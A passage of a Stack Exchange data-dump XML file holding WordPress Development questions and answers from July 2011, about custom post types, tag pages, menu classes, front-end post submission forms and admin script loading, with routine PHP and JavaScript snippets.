changed !&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;&#xA;&amp;lt;th scope=&quot;row&quot; class=&quot;titre2&quot;&amp;gt;Choose :&amp;lt;/th&amp;gt;&#xA;&#xA;&amp;lt;td&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;mbgalerie_sample[galerytype]&quot; value=&quot;1&quot; id=&quot;1&quot;&amp;lt;? if ($galerytype==&quot;1&quot;) {echo 'checked=&quot;checked&quot;';} ?&amp;gt; /&amp;gt; &amp;lt;label for=&quot;1&quot;&amp;gt;Normal&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;mbgalerie_sample[galerytype]&quot; value=&quot;2&quot; id=&quot;2&quot;&amp;lt;? if ($galerytype==&quot;2&quot;) {echo 'checked=&quot;checked&quot;';} ?&amp;gt; /&amp;gt; &amp;lt;label for=&quot;2&quot;&amp;gt;Miniatures&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks all&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-13T08:30:07.617" LastActivityDate="2011-07-13T08:30:07.617" Title="Set default options for plugin on activation and blog creation?" Tags="&lt;plugins&gt;&lt;blog&gt;" />
  <row Id="22807" PostTypeId="2" ParentId="22802" CreationDate="2011-07-13T08:15:12.867" Score="1" ViewCount="" Body="&lt;p&gt;If you read this article on custom post types it should help: &lt;strong&gt;&lt;a href=&quot;http://mondaybynoon.com/2011/05/20/revisiting-custom-post-types-taxonomies-permalinks-slugs/&quot; rel=&quot;nofollow&quot;&gt;Revisiting Custom Post Types, Custom Taxonomies, and Permalinks&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6787" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-14T21:49:00.693" LastActivityDate="2011-07-14T21:49:00.693" CommentCount="2" />
  <row Id="22808" PostTypeId="1" AcceptedAnswerId="22869" CreationDate="2011-07-13T08:43:57.507" Score="0" ViewCount="72" Body="&lt;p&gt;I have a tag page that is generated with the first image attachments from all of the posts.  I call it in the loop with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_first_attachment() ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is the function :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_first_attachment(){&#xA;    $querystr =&#xA;    &quot;&#xA;        SELECT&#xA;                wp_posts.post_excerpt AS 'imageTitle',&#xA;                wp_posts.guid AS 'imageGuid'&#xA;        FROM&#xA;            wp_posts&#xA;        WHERE&#xA;                wp_posts.post_parent = &quot;.get_the_ID().&quot;&#xA;            AND wp_posts.post_type = \&quot;attachment\&quot;&#xA;        ORDER BY \&quot;menu_order\&quot;&#xA;        LIMIT 1&#xA;    &quot;;&#xA;    global $wpdb;&#xA;    $url = get_bloginfo('url');&#xA;    $post_item = $wpdb-&amp;gt;get_row($querystr);&#xA;    $first_attachment = $post_item-&amp;gt;imageGuid;&#xA;    $not_broken = @fopen(&quot;$first_attachment&quot;,&quot;r&quot;); // checks if the image exists&#xA;    if(empty($first_attachment) || !($not_broken)){ //Defines a default image&#xA;        unset($first_attachment);&#xA;    }else{&#xA;        $first_attachment = str_replace($url, '', $first_attachment);&#xA;    }&#xA;    return $first_attachment;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great with regular posts but not my custom post types. Which are in the post_type portfolio.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; 4,&#xA;        'taxonomies' =&amp;gt; array('post_tag','category'),&#xA;        'supports' =&amp;gt; array('title','editor','comments','trackbacks','revisions','custom-fields','page-attributes','thumbnail', 'excerpt', 'tags')&#xA;      ); &#xA;&#xA;    register_post_type( 'portfolio' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the tables Both post and portfolio share post_type = attachment, however different in that one has post_type = post and the other = portfolio. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand the SELECT .. post_excerpt is a blank column and guid is just full of urls.  I am confused.  Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured out that the image attachment has nothing to do with it, my custom post type is not being included in the tag loop... I will post more code once I figure out what it is I am looking for.&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" LastEditDate="2011-07-17T08:29:45.353" LastActivityDate="2011-07-17T08:39:47.120" Title="Why doesnt my tag page populate with this custom post type?" Tags="&lt;custom-post-types&gt;&lt;customization&gt;&lt;attachments&gt;&lt;tags&gt;&lt;mysql&gt;" AnswerCount="2" />
  <row Id="22809" PostTypeId="1" AcceptedAnswerId="23657" CreationDate="2011-07-13T09:00:12.380" Score="1" ViewCount="153" Body="&lt;p&gt;is there a way to add a class to every nth item in a menu using wp_nav_menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to create columns but need to add a 'last' class to the 3rd item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers! Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-07-21T12:09:52.860" Title="wp_nav_menu, add class to every nth item?" Tags="&lt;custom-menus&gt;&lt;columns&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" />
  <row Id="22810" PostTypeId="1" AcceptedAnswerId="22813" CreationDate="2011-07-13T09:10:36.380" Score="1" ViewCount="45" Body="&lt;p&gt;I'd like to style differently the content before the  link, but in single.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, all my posts on the homepage only have a summary, and the rest of the text is cut thanks to the use of the more tag. So when I click on &quot;read more&quot; I see the complete post, starting with the summary we previously seen on the homepage. I'd like to differentiate this summary from the rest of the text, adding it some bold for example, to show to the user what he as already read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I think this is not possible. Is it ?&lt;/p&gt;&#xA;" OwnerUserId="6938" LastActivityDate="2011-07-13T10:01:50.857" Title="Style the text before &lt;!--more--&gt; in single.php" Tags="&lt;more&gt;&lt;styles&gt;" AnswerCount="1" />
  <row Id="22811" PostTypeId="1" AcceptedAnswerId="22818" CreationDate="2011-07-13T09:46:22.263" Score="0" ViewCount="46" Body="&lt;p&gt;I would like to have a separate custom page where the logged in users can post their content. &#xA;Add post title,&#xA;add content,&#xA;add check boxes,&#xA;image/file uploads,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do so? &lt;/p&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2011-07-13T11:04:03.513" Title="how  to have custom post template including custom write panels for the users to post" Tags="&lt;custom-field&gt;&lt;wordpress.org&gt;&lt;custom-write-panel&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22812" PostTypeId="2" ParentId="22789" CreationDate="2011-07-13T09:50:43.850" Score="0" ViewCount="" Body="&lt;p&gt;It turns out Wordpress uses query vars to route the request to posts/pages etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It ended up being the case that some of my field names were already used by Wordpress internally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;http://codex.wordpress.org/WordPress_Query_Vars&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Query_Vars&lt;/a&gt; for the list of vars you shouldn't use&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2011-07-13T09:50:43.850" />
  <row Id="22813" PostTypeId="2" ParentId="22810" CreationDate="2011-07-13T10:01:50.857" Score="1" ViewCount="" Body="&lt;p&gt;using: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content#Overriding_Archive.2FSingle_Page_Behavior&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_content#Overriding_Archive.2FSingle_Page_Behavior&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the $strip_teaser parameter:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content#Usage&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/the_content#Usage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in single.php, replace &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( strpos(get_the_content(), '&amp;lt;span id=&quot;more-') ) : ?&amp;gt;&#xA;  &amp;lt;div class=&quot;before-more&quot;&amp;gt;&#xA;  &amp;lt;?php global $more; $more=0; the_content(''); $more=1; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;     &#xA;&amp;lt;?php the_content('', true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-13T10:01:50.857" CommentCount="0" />
  <row Id="22814" PostTypeId="2" ParentId="22765" CreationDate="2011-07-13T10:08:28.260" Score="0" ViewCount="" Body="&lt;p&gt;For everyone that needs the same script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does,&#xA;A simple html form uploads a image and some text to wordpress and media gallery and creates a post as draft from the content posted. And redirects you to the created post for preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big thanks to @Bainternet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;&#xA;if(isset($_POST['new_post']) == '1') {&#xA;$post_title = $_POST['post_title'];&#xA;$post_category = 'todays_post';&#xA;$post_content = $_POST['post_content'];&#xA;&#xA;$new_post = array(&#xA;      'ID' =&amp;gt; '',&#xA;      'post_author' =&amp;gt; $user-&amp;gt;ID, &#xA;      'post_category' =&amp;gt; array($post_category),&#xA;      'post_content' =&amp;gt; $post_content,&#xA;      'post_title' =&amp;gt; $post_title,&#xA;      'post_status' =&amp;gt; 'draft'&#xA;    );&#xA;&#xA;$post_id = wp_insert_post($new_post);&#xA;&#xA;&#xA;        if (!function_exists('wp_generate_attachment_metadata')){&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/file.php');&#xA;            require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/media.php');&#xA;        }&#xA;         if ($_FILES) {&#xA;            foreach ($_FILES as $file =&amp;gt; $array) {&#xA;                if ($_FILES[$file]['error'] !== UPLOAD_ERR_OK) {&#xA;                    return &quot;upload error : &quot; . $_FILES[$file]['error'];&#xA;                }&#xA;                $attach_id = media_handle_upload( $file, $post_id );&#xA;            }   &#xA;        }&#xA;if ($attach_id &amp;gt; 0){&#xA;    $post = get_post($post_id,'ARRAY_A');&#xA;    $image = wp_get_attachment_image_src( $attach_id, 'large' );&#xA;    $image_tag = '&amp;lt;p&amp;gt;&amp;lt;img src=&quot;'.$image[0].'&quot; width=&quot;'.$image[1].'&quot; height=&quot;'.$image[2].'&quot; /&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;    //add image under the content&#xA;    $post['post_content'] = $image_tag . $post['post_content'];&#xA;&#xA;    //add image above the content&#xA;    //$post['post_content'] = $post['post_content'] . $image_tag;&#xA;&#xA;$post_id =  wp_update_post( $post );&#xA;}&#xA;&#xA;&#xA;// This will redirect you to the newly created post&#xA;$post = get_post($post_id);&#xA;wp_redirect( get_permalink($post_id));&#xA;exit();&#xA;}      &#xA;?&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;Form&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_title&quot; size=&quot;45&quot; id=&quot;input-title&quot; value=&quot;heading&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;post_url&quot; size=&quot;45&quot; id=&quot;input-url&quot; value=&quot;Url&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;thumbnail&quot; id=&quot;thumbnail&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;textarea rows=&quot;5&quot; name=&quot;post_content&quot; cols=&quot;66&quot; id=&quot;text-desc&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;new_post&quot; value=&quot;1&quot;/&amp;gt; &amp;lt;br&amp;gt;&#xA;&amp;lt;input class=&quot;subput round&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Post&quot;/&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-13T10:08:28.260" />
  <row Id="22815" PostTypeId="1" CreationDate="2011-07-13T10:28:32.380" Score="0" ViewCount="36" Body="&lt;p&gt;I'm trying to learn at the same time Wordpress &amp;amp; English. I'm sorry if I make grammatical errors :P.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my first question is ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm playing with WordPress post types. I created a post type called Portfolio, following this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later I created a new taxonomie called Portfolio Categories by this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function register_portfolio_taxonomies(){&#xA;register_taxonomy(__( &quot;portfolio-category&quot; ), &#xA;                    array(__( &quot;portfolio&quot; )), &#xA;                    array(&quot;hierarchical&quot; =&amp;gt; true, &quot;label&quot; =&amp;gt; __( &quot;Portfolio Categories&quot; ), &quot;singular_label&quot; =&amp;gt; __( &quot;Portfolio Category&quot; ), &quot;rewrite&quot; =&amp;gt; array('slug' =&amp;gt; 'portfolio-category', 'hierarchical' =&amp;gt; true))); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a new template to display portfolio posts. This template is displaying the portfolio posts and the Portfolio Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the portfolio url template is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/?page_id=145&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is when i click in a 'sample' Portfolio category. I want to display an url like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/?page_id=145&amp;amp;portfolio-category=sample&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is, taht when I click in a category redirect me to index, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/?portfolio-category=sample&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can redirect to the current template including portfolio-category?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/?page_id=145&amp;amp;portfolio-category=sample&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marcos.&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2011-07-13T10:28:32.380" Title="Display custom posts by category - URL fail" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" CommentCount="1" />
  <row Id="22816" PostTypeId="2" ParentId="22802" CreationDate="2011-07-13T10:33:17.073" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_ancestors&quot; rel=&quot;nofollow&quot;&gt;get_ancestors()&lt;/a&gt; should do what you need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you should do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ancestors = get_ancestors($term_id, 'projects_category)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-07-13T10:55:51.843" LastActivityDate="2011-07-13T10:55:51.843" CommentCount="14" />
  <row Id="22817" PostTypeId="1" CreationDate="2011-07-13T10:43:35.910" Score="2" ViewCount="28" Body="&lt;p&gt;How can we get the category creator id ? I have checked the tables of category/terms viz. wp_terms, wp_term_taxonomy and wp_term_relationships. But there is no information about creator of the category... Is there any function which we can use ? &lt;/p&gt;&#xA;" OwnerUserId="6670" LastActivityDate="2011-07-13T11:07:42.250" Title="How can we get Catergory / Term Creator" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22818" PostTypeId="2" ParentId="22811" CreationDate="2011-07-13T11:04:03.513" Score="0" ViewCount="" Body="&lt;p&gt;Maybe &lt;em&gt;scribu&lt;/em&gt;'s &lt;a href=&quot;http://scribu.net/wordpress/front-end-editor&quot; rel=&quot;nofollow&quot;&gt;Front end Editor&lt;/a&gt; would be an easy way to update your website if your client finds the WP admin to be &quot;&lt;em&gt;confusing and difficult&lt;/em&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But also bare in mind that the admin is &lt;a href=&quot;http://www.google.com/search?&amp;amp;q=customize%20wordpress%20admin&quot; rel=&quot;nofollow&quot;&gt;customizable&lt;/a&gt; through &lt;a href=&quot;http://codex.wordpress.org/Creating_Admin_Themes&quot; rel=&quot;nofollow&quot;&gt;admin themes&lt;/a&gt;, as well as various scripts and &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=customize%20admin&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt;. To cite only one plugin, try &lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt;, it will allow you to remove a lot of unnecessary stuff from the interface.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-13T11:04:03.513" />
  <row Id="22819" PostTypeId="1" AcceptedAnswerId="22821" CreationDate="2011-07-13T11:04:05.080" Score="1" ViewCount="26" Body="&lt;p&gt;To solve this problem i've used this in my js file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var location = String(window.location);&#xA;&#xA;//only runs in post.php and post-new.php&#xA;if(location.search('post.php') != -1 || location.search('post-new.php') != -1 )&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's does not seem like i solid solution. Are there any other way?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2011-07-13T11:17:51.707" Title="Execute script only on certain admin pages" Tags="&lt;wp-admin&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="22820" PostTypeId="2" ParentId="22817" CreationDate="2011-07-13T11:07:42.250" Score="2" ViewCount="" Body="&lt;p&gt;By &quot;creator&quot; you mean the user who created the category? If so, that information is not stored by Wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to write your own function for storing the user on category insert, maybe by hooking into the &lt;code&gt;create_term&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-13T11:07:42.250" />
  <row Id="22821" PostTypeId="2" ParentId="22819" CreationDate="2011-07-13T11:17:51.707" Score="0" ViewCount="" Body="&lt;p&gt;You can use this in your &lt;code&gt;functions.php&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_scripts( $hook ) {&#xA;&#xA;    if ( $hook == 'post-new.php' ) {&#xA;&#xA;        wp_enqueue_script(  'myscript', get_bloginfo('template_directory').'/js/myscript.js' );&#xA;&#xA;    }&#xA;}&#xA;add_action('admin_enqueue_scripts','add_admin_scripts',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-13T11:17:51.707" CommentCount="3" />
  <row Id="22822" PostTypeId="1" CreationDate="2011-07-13T11:38:47.203" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to build a product catalog. here's what i have&#xA;CPT = product (ie pepperoni pizza, frozen cheese panni)&#xA;Custom Tax = product-type (ie pizza, panni)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my tax in a hierarchy like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pizza&#xA;-Frozen Pizza&#xA;--Take and Bake Pizza&#xA;--- B2b take and bake pizza&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you see 4 tiers. now for my problem. I need a, dare i say, loop for these taxonomies...I THINK! I'm probably wrong. the reason being when user starts on the products page the must only see direct children (ie pizza). then the user clicks on pizza and the must only see direct children of pizza(ie frozen, IQF). and so on so forth until they get to b2b take and bake pizza. when the user clicks on that link to go to an archives page populated with custom posts(product) that belong to b2b take and bake. I hope at least some of this makes sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theory is i need a way for taxonomy-product-type.php to loop around and around until there are no more child taxonomies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas out there?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-07-13T11:38:47.203" Title="&quot;taxonomy loop&quot; need help creating product catalog" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;hierarchical&gt;" />
  <row Id="22824" PostTypeId="2" ParentId="5013" CreationDate="2011-07-13T11:42:13.013" Score="1" ViewCount="" Body="&lt;p&gt;A cleaner way to do the above ;) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (  (function_exists('has_post_thumbnail')) &amp;amp;&amp;amp; (has_post_thumbnail())) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php else :?&amp;gt;&#xA;&#xA;&amp;lt;img src=&quot;whatever/directory/&amp;lt;?php $category = get_the_category(); echo $category[0]-&amp;gt;cat_name; ?&amp;gt;.jpg&quot; /&amp;gt; &#xA;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6994" LastActivityDate="2011-07-13T11:42:13.013" />
  <row Id="22825" PostTypeId="2" ParentId="6331" CreationDate="2011-07-13T11:43:30.410" Score="0" ViewCount="" Body="&lt;p&gt;You will be able to move wp-content related files e.g. themes, plugins, languages etc easily. For instance use rsync to sync changes between the different servers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However migrating settings from the testing database to staging and production will probably result in having to create a custom solution for your setup, since moving settings between different WordPress installs is annoying due to the fact that WordPress settings may be serialized arrays and since WordPress uses full urls in some of those :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My limited and 'hackish' solution is to use database dumps between the different versions, which would nicely work between staging &amp;amp; testing, but not for production since you cannot overwrite user-generated content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I've  described my limited method on my blog in a bit more detail, maybe it helps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.burobjorn.nl/blog/2011/06/22/keep-track-of-configuration-settings-during-development-with-multiple-developers-and-wordpress-multisite/&quot; rel=&quot;nofollow&quot;&gt;https://www.burobjorn.nl/blog/2011/06/22/keep-track-of-configuration-settings-during-development-with-multiple-developers-and-wordpress-multisite/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-13T11:43:30.410" />
  <row Id="22826" PostTypeId="2" ParentId="21632" CreationDate="2011-07-13T11:49:52.447" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps you might be able to achieve your goal by combining the feeds of the posts you are interested and create a new feed this way? That's what I did for a multisite setup. In this setup I created a page template which would load the rss feed which I created using Simple Pie (to combine all rss feeds into one cached feed). &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-13T11:49:52.447" />
  <row Id="22827" PostTypeId="2" ParentId="22123" CreationDate="2011-07-13T11:52:51.023" Score="0" ViewCount="" Body="&lt;p&gt;&#xA;&#xA;    &#xA;&#xA;&#xA;&#xA;    &#xA;     '' . __( 'Pages:', 'twentyeleven' ) . '', 'after' =&gt; '' ) ); ?&gt;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the same, but while I click on listed post, it should display full post, &#xA;but currently it is showing me excerpt rather than full post on single post page.&lt;/p&gt;&#xA;" OwnerUserId="6995" LastActivityDate="2011-07-13T11:52:51.023" />
  <row Id="22829" PostTypeId="2" ParentId="22123" CreationDate="2011-07-13T12:18:04.540" Score="-1" ViewCount="" Body="&lt;p&gt;solved the issue, please have a look on this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/twenty-eleven-display-excerpt-in-tag-category-and-date-archives&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/twenty-eleven-display-excerpt-in-tag-category-and-date-archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6995" LastActivityDate="2011-07-13T12:18:04.540" CommentCount="1" />
  <row Id="22830" PostTypeId="1" AcceptedAnswerId="22838" CreationDate="2011-07-13T12:35:10.450" Score="2" ViewCount="54" Body="&lt;p&gt;I am searching for a plugin with the following properties, any suggestions would be appreciated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All events should able to be organised either by date or subject, searchable by visiting users&#xA;and should include the capability to auto-expire. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each event should include a general description, venue details (date / time / area etc) and related images or videos.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users must be able to subscribe to an email notification mechanism which informs them about upcoming events.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Calendar must also provide an approval workflow process prior the publishing of an event.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-07-13T14:08:27.730" Title="Suggestion for Calendar of Events Plugin" Tags="&lt;calendar&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="22831" PostTypeId="1" CreationDate="2011-07-13T12:36:51.077" Score="0" ViewCount="10" Body="&lt;p&gt;I'm trying to find a way to extend the built-in Media wordpress implementation with a custom post_type called portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the exact same admin panel, same upload form and editing capabilities. Just a differnet post_type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="6997" LastActivityDate="2011-07-13T12:36:51.077" Title="Custom media post_type derivate" Tags="&lt;custom-post-types&gt;" />
  <row Id="22832" PostTypeId="1" CreationDate="2011-07-13T12:44:22.277" Score="0" ViewCount="39" Body="&lt;p&gt;I am running wordpress 3.2.1 I think thats the latest one?? Anyway, I thought in Wordpress 2 I could change my pages permalink to something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &#xA;domain.com/page  &gt;&gt;&gt;&gt;&gt; domain.com/wp-admin/add-post.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now for some reason it doesnt register the &quot;/&quot; so it shows like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/wp-adminadd-post.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get around this or resolve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2011-07-13T12:44:22.277" Title="Page permalinks" Tags="&lt;page&gt;&lt;permalink&gt;" />
